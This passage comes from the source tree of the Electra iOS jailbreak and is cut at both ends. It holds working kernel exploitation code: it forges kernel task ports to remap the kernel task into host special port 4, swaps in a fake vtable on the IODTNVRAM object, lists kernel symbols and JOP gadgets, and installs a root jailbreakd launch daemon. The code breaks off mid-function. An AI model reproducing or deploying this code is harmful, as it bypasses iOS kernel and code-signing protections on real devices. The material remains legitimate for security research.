KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR, 36 | KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR, 37 | KSTRUCT_OFFSET_THREAD_CONTEXT_DATA, // thread.machine.contextData 38 | KSTRUCT_OFFSET_THREAD_UPCB, // thread.machine.upcb 39 | KSTRUCT_OFFSET_THREAD_UNEON, // thread.machine.uNeon 40 | KSTRUCT_OFFSET_THREAD_KSTACKPTR, 41 | 42 | /* struct processor */ 43 | KSTRUCT_OFFSET_PROCESSOR_CPU_ID, 44 | 45 | /* struct cpu_data */ 46 | KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR, // despite the name this actually points to the top of the stack, not the bottom 47 | KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR, 48 | }; 49 | 50 | 51 | 52 | // the 53 | 54 | enum ksymbol { 55 | KSYMBOL_OSARRAY_GET_META_CLASS, 56 | KSYMBOL_IOUSERCLIENT_GET_META_CLASS, 57 | KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX, 58 | KSYMBOL_CSBLOB_GET_CD_HASH, 59 | KSYMBOL_KALLOC_EXTERNAL, 60 | KSYMBOL_KFREE, 61 | KSYMBOL_RET, 62 | KSYMBOL_OSSERIALIZER_SERIALIZE, 63 | KSYMBOL_KPRINTF, 64 | KSYMBOL_UUID_COPY, 65 | KSYMBOL_CPU_DATA_ENTRIES, 66 | KSYMBOL_VALID_LINK_REGISTER, 67 | KSYMBOL_X21_JOP_GADGET, 68 | KSYMBOL_EXCEPTION_RETURN, 69 | KSYMBOL_THREAD_EXCEPTION_RETURN, 70 | KSYMBOL_SET_MDSCR_EL1_GADGET, 71 | KSYMBOL_WRITE_SYSCALL_ENTRYPOINT, 72 | KSYMBOL_EL1_HW_BP_INFINITE_LOOP, 73 | KSYMBOL_SLEH_SYNC_EPILOG 74 | }; 75 | 76 | int koffset(enum kstruct_offset); 77 | 78 | uint64_t ksym(enum ksymbol); 79 | 80 | void offsets_init(void); 81 | void symbols_init(void); 82 | int probably_have_correct_symbols(void); 83 | 84 | #endif 85 | -------------------------------------------------------------------------------- /electra/headers/IOKit.h: -------------------------------------------------------------------------------- 1 | // 2 | // IOKit.h 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef IOKit_h 10 | #define IOKit_h 11 | 12 | #include 13 | 14 | kern_return_t mach_vm_read( 15 | vm_map_t target_task, 16 | mach_vm_address_t address, 17 | mach_vm_size_t size, 18 | vm_offset_t *data, 19 | mach_msg_type_number_t *dataCnt); 20 | 21 | typedef mach_port_t io_service_t; 22 | typedef mach_port_t io_connect_t; 23 | 24 | extern const mach_port_t kIOMasterPortDefault; 25 | #define IO_OBJECT_NULL (0) 26 | 27 | kern_return_t 28 | IOConnectCallAsyncMethod( 29 | mach_port_t connection, 30 | uint32_t selector, 31 | mach_port_t wakePort, 32 | uint64_t* reference, 33 | uint32_t referenceCnt, 34 | const uint64_t* input, 35 | uint32_t inputCnt, 36 | const void* inputStruct, 37 | size_t inputStructCnt, 38 | uint64_t* output, 39 | uint32_t* outputCnt, 40 | void* outputStruct, 41 | size_t* outputStructCntP); 42 | 43 | kern_return_t 44 | IOConnectCallMethod( 45 | mach_port_t connection, 46 | uint32_t selector, 47 | const uint64_t* input, 48 | uint32_t inputCnt, 49 | const void* inputStruct, 50 | size_t inputStructCnt, 51 | uint64_t* output, 52 | uint32_t* outputCnt, 53 | void* outputStruct, 54 | size_t* outputStructCntP); 55 | 56 | io_service_t 57 | IOServiceGetMatchingService( 58 | mach_port_t _masterPort, 59 | CFDictionaryRef matching); 60 | 61 | CFMutableDictionaryRef 62 | IOServiceMatching( 63 | const char* name); 64 | 65 | kern_return_t 66 | IOServiceOpen( 67 | io_service_t service, 68 | task_port_t owningTask, 69 | uint32_t type, 70 | io_connect_t* connect ); 71 | 72 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 73 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 74 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 75 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 76 | 77 | #endif /* IOKit_h */ 78 | -------------------------------------------------------------------------------- /electra/headers/codesign.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2006 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | 29 | #ifndef _SYS_CODESIGN_H_ 30 | #define _SYS_CODESIGN_H_ 31 | 32 | #include 33 | 34 | /* code signing attributes of a process */ 35 | #define CS_VALID 0x0000001 /* dynamically valid */ 36 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 37 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 38 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 39 | 40 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 41 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 42 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 43 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 44 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 45 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 46 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 47 | 48 | #define CS_ALLOWED_MACHO 0x00ffffe 49 | 50 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 51 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 52 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 53 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 54 | 55 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 56 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 57 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 58 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 59 | 60 | /* csops operations */ 61 | #define CS_OPS_STATUS 0 /* return status */ 62 | #define CS_OPS_MARKINVALID 1 /* invalidate process */ 63 | #define CS_OPS_MARKHARD 2 /* set HARD flag */ 64 | #define CS_OPS_MARKKILL 3 /* set KILL flag (sticky) */ 65 | #define CS_OPS_PIDPATH 4 /* get executable's pathname */ 66 | #define CS_OPS_CDHASH 5 /* get code directory hash */ 67 | #define CS_OPS_PIDOFFSET 6 /* get offset of active Mach-o slice */ 68 | #define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */ 69 | #define CS_OPS_MARKRESTRICT 8 /* set RESTRICT flag (sticky) */ 70 | 71 | #ifndef KERNEL 72 | 73 | __BEGIN_DECLS 74 | 75 | /* code sign operations */ 76 | int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize); 77 | 78 | __END_DECLS 79 | 80 | #endif /* ! KERNEL */ 81 | 82 | #endif /* _SYS_CODESIGN_H_ */ 83 | -------------------------------------------------------------------------------- /electra/headers/xpc_minimal.h: -------------------------------------------------------------------------------- 1 | // 2 | // xpc_minimal.h 3 | // electra 4 | // 5 | // Created by karin on 29/1/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef xpc_minimal_h 10 | #define xpc_minimal_h 11 | 12 | /* Minimal header for fun.c */ 13 | 14 | typedef void *xpc_object_t; 15 | typedef xpc_object_t xpc_connection_t; 16 | 17 | xpc_connection_t xpc_connection_create_mach_service(const char *, dispatch_queue_t, uint64_t); 18 | void xpc_connection_set_event_handler(xpc_connection_t, void (^)(xpc_object_t)); 19 | void xpc_connection_resume(xpc_connection_t); 20 | 21 | xpc_object_t xpc_dictionary_create(const char **, const xpc_object_t *, size_t); 22 | void xpc_dictionary_set_string(xpc_object_t, const char *, const char *); 23 | 24 | xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t, xpc_object_t); 25 | // jailbreakd is alive past this point 26 | void xpc_connection_cancel(xpc_connection_t); 27 | 28 | char *xpc_copy_description(xpc_object_t); 29 | 30 | #endif /* xpc_minimal_h */ 31 | -------------------------------------------------------------------------------- /electra/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "AppDelegate.h" 3 | 4 | int main(int argc, char * argv[]) { 5 | @autoreleasepool { 6 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /electra/the fun part/fun.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 14/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_h 10 | #define fun_h 11 | 12 | #include 13 | #include 14 | #include 15 | #import 16 | #import 17 | #import 18 | #import 19 | #import 20 | #import 21 | 22 | #include 23 | 24 | #include 25 | 26 | #include "find_port.h" 27 | #include "kutils.h" 28 | #include "symbols.h" 29 | #include "patchfinder64.h" 30 | 31 | #include "fun_objc.h" 32 | 33 | int begin_fun(mach_port_t tfp0, mach_port_t user_client, bool enable_tweaks); 34 | 35 | int startprog(uint64_t kern_ucred, bool wait, const char *prog, const char* args[], const char* envp[]); 36 | int start_jailbreakd(uint64_t kernel_base); 37 | 38 | #endif /* fun_h */ 39 | -------------------------------------------------------------------------------- /electra/the fun part/fun_objc.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun_objc.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 16/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_objc_h 10 | #define fun_objc_h 11 | 12 | const char* progname(const char*); 13 | void extractTarBinary(void); 14 | void update_springboard_plist(void); 15 | 16 | #endif /* fun_objc_h */ 17 | -------------------------------------------------------------------------------- /electra/the fun part/fun_objc.m: -------------------------------------------------------------------------------- 1 | // 2 | // fun_objc.m 3 | // async_wake_ios 4 | // 5 | // Created by George on 16/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #import 20 | #import "NSData+GZip.h" 21 | 22 | const char* progname(const char* prog) { 23 | char path[4096]; 24 | uint32_t size = sizeof(path); 25 | _NSGetExecutablePath(path, &size); 26 | char *pt = realpath(path, NULL); 27 | 28 | NSString *execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent]; 29 | 30 | NSString *bootstrap = [execpath stringByAppendingPathComponent:[NSString stringWithUTF8String:prog]]; 31 | return [bootstrap UTF8String]; 32 | } 33 | 34 | const char* realPath() { 35 | char path[4096]; 36 | uint32_t size = sizeof(path); 37 | _NSGetExecutablePath(path, &size); 38 | char *pt = realpath(path, NULL); 39 | return pt; 40 | } 41 | 42 | void extractTarBinary(){ 43 | NSData *tarGz = [NSData dataWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"tar" ofType:@"gz"]]; 44 | NSData *tar = [tarGz gunzippedData]; 45 | [tar writeToFile:@"/bootstrap/tar" atomically:YES]; 46 | } 47 | 48 | void update_springboard_plist(){ 49 | NSDictionary *springBoardPlist = [NSMutableDictionary dictionaryWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"]; 50 | [springBoardPlist setValue:@YES forKey:@"SBShowNonDefaultSystemApps"]; 51 | [springBoardPlist writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES]; 52 | 53 | NSDictionary* attr = [NSDictionary dictionaryWithObjectsAndKeys:[NSNumber numberWithShort:0755], NSFilePosixPermissions,@"mobile",NSFileOwnerAccountName,NULL]; 54 | 55 | NSError *error = nil; 56 | [[NSFileManager defaultManager] setAttributes:attr ofItemAtPath:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" error:&error]; 57 | } 58 | -------------------------------------------------------------------------------- /electra/the fun part/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | int init_kernel(uint64_t base, const char *filename); 5 | void term_kernel(void); 6 | 7 | // Fun part 8 | uint64_t find_allproc(void); 9 | uint64_t find_add_x0_x0_0x40_ret(void); 10 | uint64_t find_copyout(void); 11 | uint64_t find_bzero(void); 12 | uint64_t find_bcopy(void); 13 | uint64_t find_rootvnode(void); 14 | uint64_t find_trustcache(void); 15 | uint64_t find_amficache(void); 16 | uint64_t find_realhost(void); 17 | uint64_t find_zone_map_ref(void); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /electra/the fun part/remap_tfp_set_hsp.c: -------------------------------------------------------------------------------- 1 | // 2 | // remap_tfp_set_hsp.c 3 | // electra 4 | // 5 | // Created by Viktor Oreshkin on 16.01.18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "remap_tfp_set_hsp.h" 10 | 11 | #include 12 | #include "kmem.h" 13 | #include "symbols.h" 14 | #include "kutils.h" 15 | #include "find_port.h" 16 | #include "patchfinder64.h" 17 | 18 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 19 | 20 | uint64_t make_fake_task(uint64_t vm_map) { 21 | uint64_t fake_task_kaddr = kmem_alloc(0x1000); 22 | 23 | void* fake_task = malloc(0x1000); 24 | memset(fake_task, 0, 0x1000); 25 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 26 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 27 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 28 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 29 | kmemcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000); 30 | free(fake_task); 31 | 32 | return fake_task_kaddr; 33 | } 34 | 35 | // in async_wake.h 36 | void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr); 37 | 38 | int remap_tfp0_set_hsp4(mach_port_t *port) { 39 | // huge thanks to Siguza for hsp4 & v0rtex 40 | // for explainations and being a good rubber duck :p 41 | 42 | // see https://github.com/siguza/hsp4 for some background and explaination 43 | // tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token 44 | // which makes it return TASK_NULL when kernel_task is passed 45 | // "simple" vm_remap is enough to overcome this. 46 | 47 | // However, vm_remap has weird issues with submaps -- it either doesn't remap 48 | // or using remapped addresses leads to panics and kittens crying. 49 | 50 | // tasks fall into zalloc, so src_map is going to be zone_map 51 | // zone_map works perfectly fine as out zone -- you can 52 | // do remap with src/dst being same and get new address 53 | 54 | // however, using kernel_map makes more sense 55 | // we don't want zalloc to mess with our fake task 56 | // and neither 57 | 58 | // proper way to use vm_* APIs from userland is via mach_vm_* 59 | // but those accept task ports, so we're gonna set up 60 | // fake task, which has zone_map as its vm_map 61 | // then we'll build fake task port from that 62 | // and finally pass that port both as src and dst 63 | 64 | // last step -- wire new kernel task -- always a good idea to wire critical 65 | // kernel structures like tasks (or vtables :P ) 66 | 67 | // and we can write our port to realhost.special[4] 68 | 69 | // we can use mach_host_self() if we're root 70 | mach_port_t host_priv = fake_host_priv(); 71 | 72 | int ret; 73 | uint64_t remapped_task_addr = 0; 74 | // task is smaller than this but it works so meh 75 | uint64_t sizeof_task = 0x1000; 76 | 77 | uint64_t kernel_task_kaddr; 78 | 79 | { 80 | // find kernel task first 81 | kernel_task_kaddr = rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 82 | 83 | while (kernel_task_kaddr != 0) { 84 | uint64_t bsd_info = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 85 | 86 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 87 | 88 | if (pid == 0) { 89 | break; 90 | } 91 | 92 | kernel_task_kaddr = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV)); 93 | } 94 | 95 | if (kernel_task_kaddr == 0) { 96 | printf("[remap_kernel_task] failed to find kernel task\n"); 97 | return 1; 98 | } 99 | 100 | printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr); 101 | } 102 | 103 | mach_port_t zm_fake_task_port = MACH_PORT_NULL; 104 | mach_port_t km_fake_task_port = MACH_PORT_NULL; 105 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port); 106 | ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port); 107 | 108 | if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) { 109 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port); 110 | } 111 | 112 | if (ret != KERN_SUCCESS) { 113 | printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret)); 114 | return 1; 115 | } 116 | 117 | // strref \"Nothing being freed to the zone_map. start = end = %p\\n\" 118 | // or traditional \"zone_init: kmem_suballoc failed\" 119 | uint64_t zone_map_kptr = find_zone_map_ref(); 120 | uint64_t zone_map = rk64(zone_map_kptr); 121 | 122 | // kernel_task->vm_map == kernel_map 123 | uint64_t kernel_map = rk64(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 124 | 125 | uint64_t zm_fake_task_kptr = make_fake_task(zone_map); 126 | uint64_t km_fake_task_kptr = make_fake_task(kernel_map); 127 | 128 | make_port_fake_task_port(zm_fake_task_port, zm_fake_task_kptr); 129 | make_port_fake_task_port(km_fake_task_port, km_fake_task_kptr); 130 | 131 | km_fake_task_port = zm_fake_task_port; 132 | 133 | vm_prot_t cur, max; 134 | ret = mach_vm_remap(km_fake_task_port, 135 | &remapped_task_addr, 136 | sizeof_task, 137 | 0, 138 | VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, 139 | zm_fake_task_port, 140 | kernel_task_kaddr, 141 | 0, 142 | &cur, &max, 143 | VM_INHERIT_NONE); 144 | 145 | 146 | if (ret != KERN_SUCCESS) { 147 | printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret)); 148 | return 1; 149 | } 150 | 151 | if (kernel_task_kaddr == remapped_task_addr) { 152 | printf("[remap_kernel_task] remap failure: addr is the same after remap\n"); 153 | return 1; 154 | } 155 | 156 | printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr); 157 | 158 | ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE); 159 | 160 | if (ret != KERN_SUCCESS) { 161 | printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret)); 162 | return 1; 163 | } 164 | 165 | uint64_t port_kaddr = find_port_address(*port, MACH_PORT_TYPE_SEND); 166 | printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr); 167 | 168 | make_port_fake_task_port(*port, remapped_task_addr); 169 | 170 | if (rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) { 171 | printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n"); 172 | return 1; 173 | } 174 | 175 | // lck_mtx -- arm: 8 arm64: 16 176 | const int offsetof_host_special = 0x10; 177 | uint64_t host_priv_kaddr = find_port_address(mach_host_self(), MACH_PORT_TYPE_SEND); 178 | uint64_t realhost_kaddr = rk64(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 179 | wk64(realhost_kaddr + offsetof_host_special + 4 * sizeof(void*), port_kaddr); 180 | 181 | return 0; 182 | } 183 | 184 | -------------------------------------------------------------------------------- /electra/the fun part/remap_tfp_set_hsp.h: -------------------------------------------------------------------------------- 1 | // 2 | // remap_tfp_set_hsp.h 3 | // electra 4 | // 5 | // Created by Viktor Oreshkin on 16.01.18. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #ifndef remap_tfp_set_hsp_h 10 | #define remap_tfp_set_hsp_h 11 | 12 | #include 13 | 14 | int remap_tfp0_set_hsp4(mach_port_t *port); 15 | 16 | #endif /* remap_tfp_set_hsp_h */ 17 | -------------------------------------------------------------------------------- /electra/the fun part/start_jailbreakd.m: -------------------------------------------------------------------------------- 1 | // 2 | // jailbreakd.c 3 | // async_wake_ios 4 | // 5 | // Created by CoolStar on 12/25/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #import 22 | #include 23 | 24 | int start_jailbreakd(uint64_t kernel_base) { 25 | unlink("/var/tmp/jailbreakd.pid"); 26 | unlink("/var/log/jailbreakd-stderr.log"); 27 | unlink("/var/log/jailbreakd-stdout.log"); 28 | 29 | NSData *blob = [NSData dataWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"jailbreakd" ofType:@"plist"]]; 30 | NSMutableDictionary *job = [NSPropertyListSerialization propertyListWithData:blob options:NSPropertyListMutableContainers format:nil error:nil]; 31 | 32 | job[@"EnvironmentVariables"][@"KernelBase"] = [NSString stringWithFormat:@"0x%16llx", kernel_base]; 33 | [job writeToFile:@"/bootstrap/Library/LaunchDaemons/jailbreakd.plist" atomically:YES]; 34 | chmod("/bootstrap/Library/LaunchDaemons/jailbreakd.plist", 0600); 35 | chown("/bootstrap/Library/LaunchDaemons/jailbreakd.plist", 0, 0); 36 | 37 | pid_t pid = 0; 38 | 39 | int rv = posix_spawn(&pid, "/bootstrap/bin/launchctl", NULL, NULL, (char **)&(const char*[]){ "launchctl", "load", "-w", "/bootstrap/Library/LaunchDaemons/jailbreakd.plist", NULL }, NULL); 40 | if (rv == -1) { 41 | return -1; 42 | } 43 | 44 | int ex = 0; 45 | waitpid(pid, &ex, 0); 46 | NSLog(@"The dragon becomes me!"); 47 | NSLog(@"once it is drawn, it cannot be sheathed without causing death"); 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /electra/the fun part/unlocknvram.c: -------------------------------------------------------------------------------- 1 | // iOS 11 moves OFVariables to const 2 | // https://twitter.com/s1guza/status/908790514178301952 3 | // however, if we: 4 | // 1) Can find IODTNVRAM service 5 | // 2) Have tfp0 / kernel read|write|alloc 6 | // 3) Can leak kernel address of mach port 7 | // then we can fake vtable on IODTNVRAM object 8 | // async_wake satisfies those requirements 9 | // however, I wasn't able to actually set or get ANY nvram variable 10 | // not even userread/userwrite 11 | // Guess sandboxing won't let to access nvram 12 | 13 | #include 14 | #include 15 | #include "kmem.h" 16 | #include "symbols.h" 17 | #include "find_port.h" 18 | 19 | // convertPropToObject calls getOFVariableType 20 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType 21 | // find xrefs, figure out vtable start from that 22 | // following are offsets of entries in vtable 23 | 24 | // it always returns false 25 | const uint64_t searchNVRAMProperty = 0x590; 26 | // 0 corresponds to root only 27 | const uint64_t getOFVariablePerm = 0x558; 28 | 29 | typedef mach_port_t io_service_t; 30 | typedef mach_port_t io_connect_t; 31 | extern const mach_port_t kIOMasterPortDefault; 32 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 33 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 34 | 35 | // get kernel address of IODTNVRAM object 36 | uint64_t get_iodtnvram_obj(void) { 37 | // get user serv 38 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 39 | 40 | // leak user serv 41 | // it should use via_kmem_read method by now, so second param doesn't matter 42 | uint64_t nvram_up = find_port_address(IODTNVRAMSrv, 0x41414141); 43 | // get kern obj -- IODTNVRAM* 44 | uint64_t IODTNVRAMObj = rk64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 45 | 46 | return IODTNVRAMObj; 47 | } 48 | 49 | void unlocknvram(void) { 50 | uint64_t obj = get_iodtnvram_obj(); 51 | uint64_t vtable_start = rk64(obj); 52 | 53 | uint64_t vtable_end = vtable_start; 54 | // Is vtable really guaranteed to end with 0 or was it just a coincidence?.. 55 | // should we just use some max value instead? 56 | while (rk64(vtable_end) != 0) vtable_end += sizeof(uint64_t); 57 | 58 | uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start); 59 | 60 | // copy vtable to userspace 61 | uint64_t *buf = calloc(1, vtable_len); 62 | rkbuffer(vtable_start, buf, vtable_len); 63 | 64 | // alter it 65 | buf[getOFVariablePerm/sizeof(uint64_t)] = buf[searchNVRAMProperty/sizeof(uint64_t)]; 66 | 67 | // allocate buffer in kernel and copy it back 68 | uint64_t fake_vtable = kmem_alloc_wired(vtable_len); 69 | wkbuffer(fake_vtable, buf, vtable_len); 70 | 71 | // replace vtable on IODTNVRAM object 72 | wk64(obj, fake_vtable); 73 | 74 | free(buf); 75 | } 76 | -------------------------------------------------------------------------------- /electra/the fun part/unlocknvram.h: -------------------------------------------------------------------------------- 1 | void unlocknvram(void); 2 | -------------------------------------------------------------------------------- /electra/the fun part/utilities/amfi_utils.c: -------------------------------------------------------------------------------- 1 | // 2 | // amfi_utils.c 3 | // electra 4 | // 5 | // Created by Jamie on 27/01/2018. 6 | // Copyright © 2018 Electra Team. All rights reserved. 7 | // 8 | 9 | #include "amfi_utils.h" 10 | #include "kutils.h" 11 | #include "kmem.h" 12 | #include "patchfinder64.h" 13 | #include 14 | #include 15 | #include 16 | 17 | uint32_t swap_uint32( uint32_t val ) { 18 | val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); 19 | return (val << 16) | (val >> 16); 20 | } 21 | 22 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out) { 23 | if (code_dir == NULL) { 24 | printf("NULL passed to getSHA256inplace!\n"); 25 | return; 26 | } 27 | uint32_t* code_dir_int = (uint32_t*)code_dir; 28 | 29 | uint32_t realsize = 0; 30 | for (int j = 0; j < 10; j++) { 31 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { 32 | realsize = swap_uint32(code_dir_int[j+1]); 33 | code_dir += 4*j; 34 | } 35 | } 36 | 37 | CC_SHA256(code_dir, realsize, out); 38 | } 39 | 40 | uint8_t *getSHA256(const uint8_t* code_dir) { 41 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); 42 | getSHA256inplace(code_dir, out); 43 | return out; 44 | } 45 | 46 | uint8_t *getCodeDirectory(const char* name) { 47 | // Assuming it is a macho 48 | 49 | FILE* fd = fopen(name, "r"); 50 | 51 | uint32_t magic; 52 | fread(&magic, sizeof(magic), 1, fd); 53 | fseek(fd, 0, SEEK_SET); 54 | 55 | long off; 56 | int ncmds; 57 | 58 | if (magic == MH_MAGIC_64) { 59 | struct mach_header_64 mh64; 60 | fread(&mh64, sizeof(mh64), 1, fd); 61 | off = sizeof(mh64); 62 | ncmds = mh64.ncmds; 63 | } else if (magic == MH_MAGIC) { 64 | struct mach_header mh; 65 | fread(&mh, sizeof(mh), 1, fd); 66 | off = sizeof(mh); 67 | ncmds = mh.ncmds; 68 | } else { 69 | printf("%s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic); 70 | return NULL; 71 | } 72 | 73 | for (int i = 0; i < ncmds; i++) { 74 | struct load_command cmd; 75 | fseek(fd, off, SEEK_SET); 76 | fread(&cmd, sizeof(struct load_command), 1, fd); 77 | if (cmd.cmd == LC_CODE_SIGNATURE) { 78 | uint32_t off_cs; 79 | fread(&off_cs, sizeof(uint32_t), 1, fd); 80 | uint32_t 